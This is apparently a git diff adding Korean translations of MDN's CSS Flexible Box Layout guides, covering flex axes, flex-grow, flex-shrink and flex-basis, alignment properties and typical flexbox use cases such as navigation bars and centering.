At the beginning of this article I explained that the alignment properties currently contained in the Level 1 flexbox specification are also included in Box Alignment Level 3, which may well extend these properties and values in the future. We have already seen one place where this has happened, with the introduction of the space-evenly value for align-content and justify-content properties.

+ +

The Box Alignment module also includes other methods of creating space between items, such as the column-gap and row-gap feature as seen in CSS Grid Layout. The inclusion of these properties in Box Alignment means that in future we should be able to use column-gap and row-gap in flex layouts too, and in Firefox 63 you will find the first browser implementation of the gap properties in flex layout.

+ +

My suggestion when exploring flexbox alignment in depth is to do so alongside looking at alignment in Grid Layout. Both specifications use the alignment properties as detailed in the Box Alignment specification. You can see how these properties behave when working with a grid in the MDN article Box Alignment in Grid Layout, and I have also compared how alignment works in these specifications in my Box Alignment Cheatsheet.

+ +

See Also

+ + diff --git "a/files/ko/web/css/css_flexible_box_layout/flexbox\354\235\230_\352\270\260\353\263\270_\352\260\234\353\205\220/index.html" "b/files/ko/web/css/css_flexible_box_layout/flexbox\354\235\230_\352\270\260\353\263\270_\352\260\234\353\205\220/index.html" new file mode 100644 index 0000000000..1966114608 --- /dev/null +++ "b/files/ko/web/css/css_flexible_box_layout/flexbox\354\235\230_\352\270\260\353\263\270_\352\260\234\353\205\220/index.html" @@ -0,0 +1,236 @@ +--- +title: flexbox의 기본 개념 +slug: Web/CSS/CSS_Flexible_Box_Layout/Flexbox의_기본_개념 +translation_of: Web/CSS/CSS_Flexible_Box_Layout/Basic_Concepts_of_Flexbox +--- +
{{CSSRef}}
+ +

일명 flexbox라 불리는 Flexible Box module은 flexbox 인터페이스 내의 아이템 간 공간 배분과 강력한 정렬 기능을 제공하기 위한 1차원 레이아웃 모델 로 설계되었습니다. 이 글에서는 flexbox의 주요 기능에 대한 개요를 다룹니다. 더 자세한 내용은 가이드의 다른 글에서 탐구하게 될 것입니다.

+ +

flexbox를 1차원이라 칭하는 것은, 레이아웃을 다룰 때 한 번에 하나의 차원(행이나 열)만을 다룬다는 뜻입니다. 이는 행과 열을 함께 조절하는 CSS 그리드 레이아웃의 2차원 모델과는 대조됩니다.

+ +

flexbox의 두 개의 축

+ +

flexbox를 다루려면 주축과 교차축이라는 두 개의 축에 대한 정의를 알아야 합니다. 주축은 {{cssxref("flex-direction")}} 속성을 사용하여 지정하며 교차축은 이에 수직인 축으로 결정됩니다. flexbox의 동작은 결국 이 두 개의 축에 대한 문제로 환원되기 때문에 이들이 어떻게 동작하는지 처음부터 이해하는 것이 중요합니다.

+ +

주축

+ +

주축은 flex-direction에 의해 정의되며 4개의 값을 가질 수 있습니다:

+ +
    +
  • row
  • +
  • row-reverse
  • +
  • column
  • +
  • column-reverse
  • +
+ +

row 혹은 row-reverse를 선택하면 주축은 인라인 방향으로 행을 따릅니다.

+ +

If flex-direction is set to row the main axis runs along the row in the inline direction.

+ +

column 혹은 column-reverse 을 선택하면 주축은 페이지 상단에서 하단으로 블록 방향을 따릅니다.

+ +

If flex-direction is set to column the main axis runs in the block direction.

+ +

교차축

+ +

교차축은 주축에 수직하므로, 만약 flex-direction(주축)이 row 나 row-reverse 라면 교차축은 열 방향을 따릅니다.

+ +

If flex-direction is set to row then the cross axis runs in the block direction.

+ +

주축이 column 혹은 column-reverse 라면 교차축은 행 방향을 따릅니다.

+ +

If flex-direction is set to column then the cross axis runs in the inline direction.

+ +

flex 요소를 정렬하고 끝을 맞추(justify)려면 어느 축이 어느 방향인지 이해하는 것이 중요합니다; flexbox는 주축, 교차축을 따라 항목을 정렬하고 끝을 맞추는 각종 속성들을 적용하는 방식으로 동작합니다.

+ +

시작선과 끝선

+ +

flexbox가 쓰기 방법(writing mode)을 가정하지 않는다는 것은 상당히 중요합니다. 과거의 CSS는 왼쪽에서 오른쪽으로 향하는 가로 방향의 쓰기 방법에 치우쳐 있었습니다. 하지만 현대의 레이아웃은 다양한 쓰기 방법을 포괄해야 하므로, 더이상 텍스트가 문서의 왼쪽 상단에서 시작해서 오른쪽으로 향한다고 가정하지 않습니다. 새 라인이 항상 아래에 쌓인다고 가정하지도 않습니다.

+ +

다른 글에서 flexbox와 쓰기 방법 명세(writing mode spec.)가 어떤 관련이 있는지 알아볼 수 있습니다. 그 전에, 이 글에서 flex 요소의 정렬 방향에 "왼쪽, 오른쪽, 위, 아래"를  사용하지 않는 이유를 알 수 있었으면 합니다.

+ +

flex-direction이 row고 영어 문장을 문서에 쓰고 있다면, 주축의 시작선은 왼쪽 끝, 끝선은 오른쪽 끝이 될 것입니다.

+ +

Working in English the start edge is on the left.

+ +

아랍어 문장을 쓰고 있다면, 주축의 시작선은 오른쪽 끝, 끝 선은 왼쪽 끝이 될 것입니다.

+ +

The start edge in a RTL language is on the right.

+ +

영어와 아랍어는 모두 가로 쓰기를 채택하고 있으므로 두 예시에서 교차축의 시작선은 flex 컨테이너의 위 끝이며 끝선은 아래 끝입니다.

+ +

조금만 지나면 왼쪽-오른쪽으로 생각하는 것보다 시작선-끝선으로 생각하는 것이 금새 자연스러워질 것입니다. 동일한 패턴을 따르는 CSS 그리드 레이아웃 같은 방법을 다룰 때도 쉽게 적응할 수 있을 것입니다.

+ +

flex 컨테이너

+ +

문서의 영역 중에서 flexbox가 놓여있는 영역을 flex 컨테이너라고 부릅니다. flex 컨테이너를 생성하려면 영역 내의 컨테이너 요소의 {{cssxref("display")}} 값을 flex 혹은 inline-flex로 지정합니다. 이 값이 지정된 컨테이너의 일차 자식(direct children) 요소가 flex 항목이 됩니다. display 속성만 지정하여 flex 컨테이너를 생성하면 다른 flex 관련 속성들은 아래처럼 기본 값이 지정됩니다.

+ +
    +
  • 항목은 행으로 나열됩니다. (flex-direction 속성의 기본값은 row입니다).
  • +
  • 항목은 주축의 시작 선에서 시작합니다.
  • +
  • 항목은 주 차원 위에서 늘어나지는 않지만 줄어들 수 있습니다.
  • +
  • 항목은 교차축의 크기를 채우기 위해 늘어납니다.
  • +
  • {{cssxref("flex-basis")}} 속성은 auto로 지정됩니다.
  • +
  • {{cssxref("flex-wrap")}} 속성은 nowrap으로 지정됩니다.
  • +
+ +

이렇게되면 flex 항목들은 각 항목 별 내부 요소의 크기로 주축을 따라 정렬됩니다. 컨테이너의 크기보다 더 많은 항목이 있을 경우 행을 바꾸지 않고 주축 방향으로 흘러 넘치게 됩니다. 어떤 항목이 다른 항목보다 높이 값이 크다면 나머지 모든 항목들은 그에 맞게 교차축을 따라 늘어나게 됩니다.

+ +

다음의 라이브 예시를 통해 어떻게 보여지는지 확인할 수 있습니다. flexbox의 초기 동작을 시험해보려면 항목을 추가하거나 수정해보시기 바랍니다.

+ +

{{EmbedGHLiveSample("css-examples/flexbox/basics/the-flex-container.html", '100%', 480)}} 

+ +

flex-direction 지정

+ +

flex 컨테이너에 {{cssxref("flex-direction")}} 속성을 지정하면 flex 항목이 나열되는 방향을 변경할 수 있습니다. flex-direction: row-reverse 라고 지정하면 행으로 나열되는 것은 그대로지만 시작 선과 끝 선이 서로 바뀌게 됩니다.

+ +

flex-direction을 column으로 지정하면 주축이 변경되고 항목들은 열로 나열됩니다. column-reverse로 지정하면 그에 더해 시작 선과 끝 선이 서로 바뀌게 됩니다.

+ +

다음의 라이브 예시는 flex-direction이 row-reverse로 지정되어 있습니다. row, columncolumn-reverse와 같은 값을 지정해서 어떻게 되는지 확인해보시기 바랍니다.

+ +

{{EmbedGHLiveSample("css-examples/flexbox/basics/flex-direction.html", '100%', 350)}}

+ +

flex-wrap을 이용한 복수 행 flex 컨테이너 지정

+ +

flexbox는 1차원 모델이지만 flex 항목이 여러 행에 나열되도록 할 수 있습니다. 그 경우 각 행이 새로운 flex 컨테이너라고 생각해야 합니다. 공간 배분은 해당 행에서만 이루어지며 다른 행은 영향을 받지 않습니다.

+ +

항목이 여러 행에 나열되도록 하려면 {{cssxref("flex-wrap")}} 속성의 값을 wrap으로 지정합니다. 그러면 항목이 하나의 행에 들어가지 않을 정도로 클 경우 다른 행에 배치됩니다. 아래의 라이브 예시에 있는 flex 항목은 폭이 지정되어 있으며 항목들의 폭의 합은 flex 컨테이너에 들어가기에는 너무 넓습니다. flex-wrap속성이 wrap으로 지정되어 있으므로 항목은 여러 행에 나열됩니다. 초깃값과 동일한 nowrap을 지정하고 flex항목에 대한 확대/축소 방식을 별도로 지정하지 않으면 flex 항목들은 컨테이너의 폭에 맞게 줄어듭니다.  nowrap을 지정하면 항목이 전혀 줄어들 수 없거나 충분히 줄어들 수 없을 때 흘러넘치게 됩니다.

+ +

{{EmbedGHLiveSample("css-examples/flexbox/basics/flex-wrap.html", '100%', 400)}}

+ +

Mastering Wrapping of Flex Items 가이드에서 더 자세한 내용을 확인할 수 있습니다.

+ +

축약형 속성 flex-flow

+ +

flex-direction 속성과 flex-wrap 속성을 {{cssxref("flex-flow")}}라는 축약 속성으로 합칠 수 있습니다. 첫 번째 값은 flex-direction이고 두 번째 값은 flex-wrap입니다.

+ +

다음의 라이브 예시에서 첫 번째 값을 flex-direction에 지정 가능한 값들(row, row-reverse, column or column-reverse)로 바꿔보시기 바랍니다. 두 번째 값도 wrap이나 nowrap으로 바꿔보시기 바랍니다.

+ +

{{EmbedGHLiveSample("css-examples/flexbox/basics/flex-flow.html", '100%', 400)}}

+ +

flex 항목에 지정 가능한 속성들

+ +

flex 항목에 적용할 수 있는 속성은 다음과 같습니다.

+ +
    +
  • {{cssxref("flex-grow")}}
  • +
  • {{cssxref("flex-shrink")}}
  • +
  • {{cssxref("flex-basis")}}
  • +
+ +

이 글에서는 위의 속성들에 대해 간략하게 살펴보겠습니다. 자세한 내용은 Controlling Ratios of Flex Items on the Main Axis에서 다룹니다.

+ +

500 픽셀의 크기를 갖는 flex 컨테이너 내에 100 픽셀 크기의 자식 세 개가 존재할 때, 사용가능한 공간 200 픽셀이 남게 됩니다. 기본적으로 flexbox는 이 공간을 마지막 자식 요소 다음에 빈공간으로 남겨둡니다.

+ +

This flex container has available space after laying out the items.

+ +

위의 세 가지 속성을 변경한다는 것은 flex 항목에게 사용가능한 공간을 분배하는 방식을 변경하는 것입니다. 사용가능한 공간 개념은 flex 항목을 정렬할 때 특히 중요합니다.

+ +

flex-basis 속성

+ +

flex-basis 속성은 항목의 크기를 결정합니다. 이 속성의 기본값은 auto이며, 이 경우 브라우저는 항목이 크기를 갖는지 확인합니다. 위의 사진 예시의 경우 항목의 크기가 100 픽셀이므로 flex-basis의 값으로 100 픽셀이 사용됩니다.

+ +

flex 항목에 크기가 지정되어 있지 않으면, flex 항목의 내용물 크기가 flex-basis 값으로 사용됩니다. 따라서 flex 컨테이너에서 display: flex 속성만을 지정하면 flex항목들이 각 내용물 크기만큼 공간을 차지하게 됩니다.

+ +

flex-grow 속성

+ +

flex-grow값을 양수로 지정하면 flex 항목별로 주축 방향 크기가 flex-basis 값 이상으로 늘어날 수 있게 됩니다. 위의 사진 예시에서 모든 항목의 flex-grow 값을 1로 지정하면 사용가능한 공간은 각 항목에게 동일하게 분배되며, 각 항목은 주축을 따라 분배받은 값만큼 사이즈를 늘려 공간을 차지합니다.

+ +

첫 항목의 flex-grow 값을 2로 지정하고 나머지 두 개의 항목을 1로 지정한다면 각 항목에 지정된 flex-grow 값의 비율에 따라 남은 공간이 분배됩니다. 각 항목의 flex-grow 비율이 2:1:1 이므로 첫 항목에게 100 픽셀, 두 번째와 세 번째 항목에게 50 픽셀씩 분배됩니다.

+ +

flex-shrink 속성

+ +

flex-grow 속성이 주축에서 남는 공간을 항목들에게 분배하는 방법을 결정한다면 flex-shrink 속성은 주축의 공간이 부족할때 각 항목의 사이즈를 줄이는 방법을 정의합니다. 만약 flex 컨테이너flex 항목을 모두 포함할 만큼 넉넉한 공간을 갖고 있지 않고 flex-shrink 값이 양수이면 flex 항목은 flex-basis에 지정된 크기보다 작아집니다. 또한, flex-grow 속성과 마찬가지로 더 큰 flex-shrink 값을 갖는 항목의 사이즈가 더 빨리 줄어듭니다.

+ +

항목의 최소 크기는 실제 축소량을 계산할 때 고려되기 때문에 flex-shrink 속성이 flex-grow 속성에 비해 덜 일관된 모습을 보여줄지도 모릅니다. flex-shrink 속성이 항목의 사이즈를 결정하는 알고리즘에 관해서는 Controlling Ratios of Flex Items on the Main Axis에서 자세히 살펴히보겠습니다.

+ +
+

flex-grow 와 flex-shrink의 값이 비율임을 유의하세요.  flex 항목의 flex 속성을 모두 1 1 200px 로 지정하고 한 항목만 크기가 늘어나는 비율을 타 항목의 두배로 하고 싶으면 해당 flex 항목의 flex 속성을 2 1 200px로 지정하면 되지만, flex 속성 값을 모두  10 1 200px로 지정하고 늘어나는 비율을 두 배로 하고 싶은 항목의 flex 속성 값만 20 1 200px로 지정해도 동일하게 동작합니다.

+
+ +

축약형 속성 flex

+ +

보통은 flex-grow, flex-shrinkflex-basis  값을 각각 사용하지 않고 이 세 속성을 한번에 지정하는 {{cssxref("flex")}} 축약형을 많이 사용합니다. flex 축약형의 값은 flex-grow, flex-shrink, flex-basis 순서로 지정됩니다.

+ +

다음의 라이브 예시에서 flex 축약형의 값들을 조절하면서 시험해 볼 수 있습니다. 첫 값이 flex-grow를 지정하며,  이 첫 값을 양수로 하면 flex 항목이 넓어질 수 있습니다. 두 번째 값은 flex-shrink 를 지정하며 이 두 번째 값에 양수를 지정하면 flex 항목이 좁아질 수 있습니다. 세 번째 값은 flex-basis를 지정하며 이 값은 flex 항목이 넓어지거나 좁아질 때 고려하는 기준 값입니다.

+ +

{{EmbedGHLiveSample("css-examples/flexbox/basics/flex-properties.html", '100%', 510)}}

+ +

flex 축약형 표현에 사용할 수 있는 미리 정의된 축약 값들이 아래에 나열되어 있습니다. 이 값들 만으로도 대부분의 경우(use-case)에 대응할 수 있을 것 입니다.

+ +
    +
  • flex: initial
  • +
  • flex: auto
  • +
  • flex: none
  • +
  • flex: <positive-number>
  • +
+ +

flex 항목을 flex: initial로 지정하면  flex: 0 1 auto 로 지정한 것과 동일하게 동작합니다. 이 경우, flex 항목들은  flex-grow가 0이므로  flex-basis값보다 커지지 않고  flex-shrink가 1이므로 flex 컨테이너 공간이 모자라면 크기가 줄어듭니다. 또, flex-basis가 auto이므로 flex 항목은 주축 방향으로 지정된 크기 또는 자기 내부 요소 크기 만큼 공간을 차지합니다.

+ +

flex: auto 로 지정하면 flex: 1 1 auto로 지정한 것과 동일하며, flex:initial 과는 주축 방향 여유 공간이 있을 때 flex 항목들이 늘어나서 주축 방향 여유 공간을 채우는 점만 다릅니다.

+ +

flex: none으로 지정하면 flex: 0 0 auto으로 지정한 것과 동일하며 flex 컨테이너의 크기 변화에도 flex 항목 크기는 변하지 않고 flex-basis를 auto로 지정했을 때 정해지는 크기로 결정됩니다.  

+ +

이 축약형은 더 축약해서 flex: 1 이나 flex: 2처럼 쓸수도 있는데, 이는 flex-grow 만 지정하고 나머지는 1 0으로 사용한다는 뜻이다. 따라서 flex: 2는 flex: 2 1 0와 동일하게 처리됩니다.

+ +

다음 라이브 예제에서 이 축약 값들을 시험해 볼 수 있습니다.

+ +

{{EmbedGHLiveSample("css-examples/flexbox/basics/flex-shorthands.html", '100%', 510)}}

+ +

정렬, 끝 맞추기(justification), flex 항목간 여유 공간 분배

+ +

flexbox의 주 기능 중 하나는 (주축과 교차축으로 표현되는) flex 컨테이너 공간 안에 flex 항목들을 정렬하고 끝 마추며 여유 공간을 항목 간에 분배하는 것입니다. 

+ +

역주) 이 절의 내용은 편의상 flex 컨테이너의 flex-direction를 row로 가정하고 '행'과 '열'로 표기했습니다.

+ +

align-items

+ +

{{cssxref("align-items")}}는 flex 컨테이너에 지정하는 속성이며, 교차축을 따라 flex 항목 열을 정렬하는 방식을 지정합니다. 

+ +

이 속성의 (아무것도 지정하지 않았을 때 적용되는)초기 값은 stretch이며 이 값을 지정하면 flex 항목의 높이는 flex 컨테이너flex 항목 행의 최대 높이로 지정됩니다. 따라서, flex 항목 행이 하나 일 때는 flex 항목은 교차축 방향으로 flex 컨테이너를 가득 채우게 됩니다.

+ +

이 속성을 flex-start로 지정하면 flex 항목의 첫 열이 교차축 방향의 시작선에 정렬됩니다. flex-end로 지정하면 flex 항목의 첫 열이 교차축 방향의 끝선에 정렬됩니다. center로 지정하면 flex 항목 행에 배분된 공간의 가운데 라인에 정렬됩니다.

+ +

다음 라이브 예제에서 이 값들을 시험해 볼 수 있습니다. - 이 시험을 위해 의도적으로 flex 컨테이너에 높이를 지정해 두었습니다.

+ +
    +
  • stretch
  • +
  • flex-start
  • +
  • flex-end
  • +
  • center
  • +
+ +

{{EmbedGHLiveSample("css-examples/flexbox/basics/align-items.html", '100%', 520)}}

+ +

justify-content

+ +

{{cssxref("justify-content")}} 속성은 주축을 따라 flex 항목 행을 정렬하는 방식을 지정합니다.

+ +

이 속성의 (아무것도 지정하지 않았을 때 적용되는)초기 값은 flex-start이며 이 값을 지정하면 flex 항목 행 내의 항목들은 flex 컨테이너의 시작선에서 부터 정렬됩니다. flex-end로 지정하면 flex 항목 행의 마지막 항목이 flex 컨테이너의 끝선에서 정렬됩니다. center로 지정하면 flex 항목들이 flex 항목 행의 가운데 정렬됩니다.

+ +

space-between을 지정하면 주죽 방향 여유 공간을 flex 항목 사이의 공간에 균등 배분합니다. 

+ +

space-around는 시작선 및 끝선과 flex 항목간 공간도 균등 배분에 고려하므로 시작선 및 끝선과 flex 항목 간의 공간의 크기를 1로 배분한다면 flex 항목 사이의 공간은 2로 배분합니다. 

+ +

space-evenly로 지정하면 여유 공간을 flex 항목 사이의 공간 및 시작선 및 끝선과 flex 항목 간의 공간에 모두 균등하게 배분합니다.

+ +

다음 라이브 예제에서 justify-content에 지정할 수 있는 다음 값들을 시험해 볼 수 있습니다.

+ +
    +
  • stretch
  • +
  • flex-start
  • +
  • flex-end
  • +
  • center
  • +
  • space-around
  • +
  • space-between
  • +
  • space-evenly
  • +
+ +

{{EmbedGHLiveSample("css-examples/flexbox/basics/justify-content.html", '100%', 380)}}

+ +

이 절에서 설명한 내용으로 대부분의 경우에 대응할 수 있지만,  Aligning Items in a Flex Container 에서 이 속성들을 더 자세히 살펴볼 것입니다.

+ +

Next steps

+ +

Flexbox의 개요를 살펴보았습니다. 다음 글 how this specification relates to other parts of CSS에서 이 규격이 다른 CSS 규격과 어떻게 연관되어 있는지 말씀드리겠습니다.

diff --git a/files/ko/web/css/css_flexible_box_layout/index.html b/files/ko/web/css/css_flexible_box_layout/index.html new file mode 100644 index 0000000000..d098a530b4 --- /dev/null +++ b/files/ko/web/css/css_flexible_box_layout/index.html @@ -0,0 +1,108 @@ +--- +title: CSS Flexible Box Layout +slug: Web/CSS/CSS_Flexible_Box_Layout +tags: + - CSS + - CSS Flexible Boxes + - Guide + - Overview + - Reference +translation_of: Web/CSS/CSS_Flexible_Box_Layout +--- +
{{CSSRef}}
+ +

CSS Flexible Box Layout은 사용자 인터페이스 디자인과 단방향 레이아웃에 최적화된 CSS 모듈입니다. 플렉스 레이아웃 모델에서는, 플렉스 컨테이너의 자식을 어떤 방향으로도 배치할 수 있으며, 자식의 크기도 유연하게("플렉시블") 빈 공간을 채우거나, 컨테이너를 넘어가지 않도록 줄어듭니다. 자식 간의 수평 및 수직 정렬 또한 쉽게 조작할 수 있습니다.

+ +

기본 예제

+ +

다음 예제의 컨테이너는 display: flex를 적용한 상태입니다. 따라서 컨테이너의 세 자식은 플렉스 항목이 됩니다. justify-content의 값은 space-between으로, 각 아이템을 주축(가로축)에 균일한 간격으로 배치합니다. 그래서 같은 양의 공간이 자식 사이에 균일하게 생기며 왼쪽과 오른쪽 아이템이 플렉스 컨테이너의 양 모서리에 붙어서 배치됩니다. 또한 align-items의 기본값인 stretch로 인해, 각 항목의 높이가 플렉스 컨테이너의 높이까지 늘어나서 세 자식 모두 제일 높이가 큰 항목과 같은 높이가 되는 것도 확인할 수 있습니다.

+ +

{{EmbedGHLiveSample("css-examples/flexbox/basics/simple-example.html", '100%', 500)}}

+ +

참고서

+ +

CSS 속성

+ +
+
    +
  • {{cssxref("flex")}}
  • +
  • {{cssxref("flex-basis")}}
  • +
  • {{cssxref("flex-direction")}}
  • +
  • {{cssxref("flex-flow")}}
  • +
  • {{cssxref("flex-grow")}}
  • +
  • {{cssxref("flex-shrink")}}
  • +
  • {{cssxref("flex-wrap")}}
  • +
  • {{cssxref("order")}}
  • +
+
+ +

정렬 속성

+ +

align-content, align-self, align-items, justify-content 속성은 플렉스박스 명세에서 처음 나왔지만, 지금은 박스 정렬 명세가 정의하며 플렉스박스 명세는 박스 정렬 명세를 참조하고 있습니다. 추가 정렬 속성도 박스 정렬 명세가 가지고 있습니다.

+ +
+
    +
  • {{cssxref("justify-content")}}
  • +
  • {{cssxref("align-content")}}
  • +
  • {{cssxref("align-items")}}
  • +
  • {{cssxref("align-self")}}
  • +
  • {{cssxref("place-content")}}
  • +
  • {{cssxref("place-items")}}
  • +
  • {{cssxref("row-gap")}}
  • +
  • {{cssxref("column-gap")}}
  • +
  • {{cssxref("gap")}}
  • +
+
+ +

용어

+ +
+
    +
  • {{Glossary("Flexbox", "플렉스박스")}}
  • +
  • {{Glossary("Flex Container", "플렉스 컨테이너")}}
  • +
  • {{Glossary("Flex Item", "플렉스 항목")}}
  • +
  • {{Glossary("Main Axis", "주축")}}
  • +
  • {{Glossary("Cross Axis", "교차축")}}
  • +
  • {{Glossary("Flex", "플렉스")}}
  • +
+
+ +

안내서

+ +
+
플렉스박스의 기본 개념
+
플렉스박스의 기능 개요입니다.
+
다른 레이아웃과 플렉스박스의 관계
+
플렉스박스와 다른 레이아웃 방법, 그리고 다른 CSS 명세가 가진 관계를 설명합니다.
+
플렉스 컨테이너의 아이템 정렬하기
+
박스 정렬 속성이 플렉스박스에서 동작하는 방식을 설명합니다.
+
플렉스 아이템 배치하기
+
아이템의 순서와 방향을 바꾸는 여러 방법과, 이 때 발생할 수 있는 여러 문제를 다룹니다.
+
플렉스 아이템의 주요 축 비율 조절하기
+
flex-grow, flex-shrink, flex-basis 속성을 설명합니다.
+
플렉스 아이템 줄바꿈 마스터하기
+
여러 줄로 이뤄진 플렉스 컨테이너를 만드는 방법과, 컨테이너 아이템의 표시 방법 설정을 설명합니다.
+
플렉스박스의 일반적인 용례
+
일반적인 플렉스박스 디자인 패턴입니다.
+
플렉스박스의 하위 호환성
+
플렉스박스의 브라우저 상태, 상호 호환성 이슈와 함께 구형 브라우저와 이전 명세를 지원하는 방법을 설명합니다.
+
+ +

명세

+ + + + + + + + + + + + + + + + +
명세상태설명
{{ SpecName('CSS3 Flexbox') }}{{ Spec2('CSS3 Flexbox') }}초기 정의.
diff --git "a/files/ko/web/css/css_flexible_box_layout/\352\260\200\353\263\200\354\203\201\354\236\220\354\235\230_\353\214\200\355\221\234\354\240\201\354\235\270_\354\202\254\354\232\251\353\241\200/index.html" "b/files/ko/web/css/css_flexible_box_layout/\352\260\200\353\263\200\354\203\201\354\236\220\354\235\230_\353\214\200\355\221\234\354\240\201\354\235\270_\354\202\254\354\232\251\353\241\200/index.html" new file mode 100644 index 0000000000..a9f75246aa --- /dev/null +++ "b/files/ko/web/css/css_flexible_box_layout/\352\260\200\353\263\200\354\203\201\354\236\220\354\235\230_\353\214\200\355\221\234\354\240\201\354\235\270_\354\202\254\354\232\251\353\241\200/index.html" @@ -0,0 +1,141 @@ +--- +title: 가변상자의 대표적인 사용례 +slug: Web/CSS/CSS_Flexible_Box_Layout/가변상자의_대표적인_사용례 +tags: + - 가변상자 + - 씨에스에스 + - 안내서 + - 용례 + - 패턴 +translation_of: Web/CSS/CSS_Flexible_Box_Layout/Typical_Use_Cases_of_Flexbox +--- +

{{CSSRef}}

+ +

이번 안내서에서는 흔히 볼 수 있는 가변상자 사용 사례 중 일부를 살펴 보겠습니다. 가변상자의 사용이 다른 조판 메서드보다 더 적합한 사례입니다.

+ +

왜 가변상자를 선택?

+ +

완벽한 브라우저 지원 환경에서 가변상자를 사용하기로 선택한 이유는 항목 모음을 한 방향 또는 다른 방향으로 배치하길 원하기 때문입니다. 우리가 항목을 배치할 때 해당 일차원의 항목 크기를 제어하거나 항목 간 간격을 제어하려고 합니다. 이것이 가변상자를 설계한 목적에 맞는 용도입니다. 가변상자와 여타 씨에스에스 조판 메서드의 관계에서 가변상자와 씨에스에스 격자 조판의 차이점에 대해 자세히 읽을 수 있습니다. 그곳에선 가변상자가 씨에스에스 조판의 전체 그림에서 어떤 역할을 하고 있는지에 대해 논의합니다.

+ +

실제로 격자 조판에 의해 더 잘 수행 될 수있는 작업이나 격자에 대한 대체품 및 정렬 기능을 얻기 위해 가변상자를 종종 사용합니다. 당 사용례는 블록 조판에서 상자 정렬 (Box Alignment) 이 구현되고 나면 변경될 수 있습니다. 이 안내서에서는 오늘날 가변상자가 쓰일 수 있는 몇 가지 대표적인 사용례를 살펴봅니다.

+ +

탐색 메뉴

+ +

탐색 메뉴의 일반적인 패턴은 항목 목록을 가로 막대로 표시하는 것입니다. 이 패턴은 기본적으로 가변상자 이전에는 달성하기 어려웠습니다. 이는(탐색 가로 막대) 가장 간단한 가변상자 예제를 형성하며 이상적인 가변상자 사용 사례로 간주될 수 있습니다.

+ +

가로로 표시하려는 항목 집합이 있으면 잉여 공간이 생길 수밖에 없습니다. 우리는 그 공간으로 무엇을 해야할지 결정해야 하며 몇 가지 선택 옵션이 있습니다. 일번 선택은 우리가 항목 무리 이외의 공간을 표시합니다. 따라서 그 사이 또는 그 주변에 공백이 생깁니다. 또는 항목 내부 여분의 공간을 흡수하려면 항목 집합이 이 공간을 확장하고 점유할 수 있는 메소드가 필요합니다.

+ +

항목 외부에 공간 분배

+ +

항목 사이 또는 주위에 공간을 분배시키기 위해 가변상자의 정렬 속성과 {{cssxref("justify-content")}} 속성을 사용합니다. 이 속성에 대한 자세한 내용은 기본 축을 기준으로 항목 정렬을 처리하는 가변 컨테이너의 항목 정렬에서 확인할 수 있습니다.

+ +

아래 실제 예에서 우리는 항목을 원래 크기로 표시하고 justify-content: space-between를 사용하여 항목 사이의 간격을 동일하게 만듭니다. space-around 값을 사용하거나, 지원이 될 경우 space-evenly를 사용해 공간이 분배되는 방식을 변경할 수 있습니다. flex-start를 사용하여 항목 끝에 공간을 배치하거나 flex-end를 사용하여 항목 앞에 배치하거나 center를 사용해 탐색 항목 중앙에 배치할 수 있습니다.

+ +

{{EmbedGHLiveSample("css-examples/flexbox/use-cases/navigation.html", '100%', 550)}}

+ +

항목 내부에 공간 분배

+ +

탐색 메뉴를 위한 다른 패턴은 항목 사이에 공간을 만드는 것이 아니라 항목 자체 내에 사용 가능한 공간을 분배하는 것입니다. 이 경우, 주축을 따라 가변 항목의 비율 제어에서 설명된대로 가변 속성을 사용하여 항목이 서로 비례하여 확대 및 축소되도록 합니다.

+ +

모든 탐색 메뉴 항목의 너비를 동일하게 하려면 flex: auto를 사용하면 됩니다. 그것은 flex: 1 1 auto의 약칭으로 모든 항목이 자동이란 가변 기반에 따라 확대되거나 축소됩니다. 여기서 자동이란 항목이 길수록 더 많은 공간이 생긴다는 말입니다.

+ +

아래의 실제 예제에서 flex: autoflex: 1로 변경해보십시요. 이것은 flex: 1 1 0의 약칭입니다. 모든 항목이 0의 가변 기반에서 작동하여 모든 공간을 고르게 배분할 수 있기 때문에 모든 항목이 동일한 너비가 됩니다.

+ +

{{EmbedGHLiveSample("css-examples/flexbox/use-cases/navigation-flex.html", '100%', 550)}}

+ +

탐색 메뉴 분할

+ +

주축에서 항목을 정렬하는 또 다른 방법은 자동 여백을 사용하는 것입니다. 이를 통해 한 그룹의 항목이 왼쪽으로 정렬되고 다른 그룹이 오른쪽으로 정렬되는 탐색 모음(메뉴)의 디자인 패턴이 가능합니다.

+ +

여기에서는 주축 정렬에 대한 자동 여백 사용에서 설명된 자동 여백 기술을 사용합니다. 항목 무리는 flex-start를 사용해 주축에 정렬됩니다. 그것이 가변상자의 초기값 동작이며, 우리가 항목을 오른쪽으로 정렬하려면 왼쪽 여백을 자동으로 지정합니다. 클래스 지정을 한 항목에서 다른 항목으로 이동하여 분할이 발생하는 위치를 변경할 수 있습니다.

+ +

또한 이 예제에서는 가변 항목에 여백을 사용하여 항목 사이에 간격을 만들고 컨테이너에 음의 여백을 사용하여 항목이 여전히 오른쪽 및 왼쪽 가장자리와 맞붙도록 합니다. 박스 정렬 (Box Alignment) 규격의 gap 속성이 가변상자에 구현될 때까지 항목 간에 배수구를 만들려면 이 방식으로 여백을 사용해야 합니다.

+ +

{{EmbedGHLiveSample("css-examples/flexbox/use-cases/split-navigation.html", '100%', 550)}}

+ +

항목 중심에 놓기

+ +

가변상자 이전에 개발자들은 웹 디자인에서 가장 어려운 문제는 수직 중심이라고 농담할겁니다. 다음 실제 예제에서 볼 수 있듯이 가변상자의 정렬 속성을 사용하여 간단하게 만들었습니다.

+ +

항목에 flex-start를 지정해 시작 부분으로 정렬하거나 flex-end를 지정해 끝 부분에 항목을 정렬하는 식으로 정렬을 맘대로 조정할 수 있습니다.

+ +

{{EmbedGHLiveSample("css-examples/flexbox/use-cases/center.html", '100%', 700)}}

+ +

박스 정렬 (Box Alignment) 속성은 궁극적으로 블록 조판의 내용으로 구현될 예정이므로 미래에는 단일 아이템을 중앙에 배치하기 위해 컨테이너를 가변 컨테이너로 만들 필요는 없습니다. 그러나 당장은 하나의 것을 다른 것의 중심에 올바로 배치해야하는 경우 가변상자를 사용하는 게 맞습니다. 위의 예에서와 같이 컨테이너를 가변 컨테이너로 만든 다음 상위 요소에 대해 align-items을 사용하거나 가변 항목 자체를 align-self로 공략합니다.

+ +

바닥글을 아래로 밀어내는 카드 조판

+ +

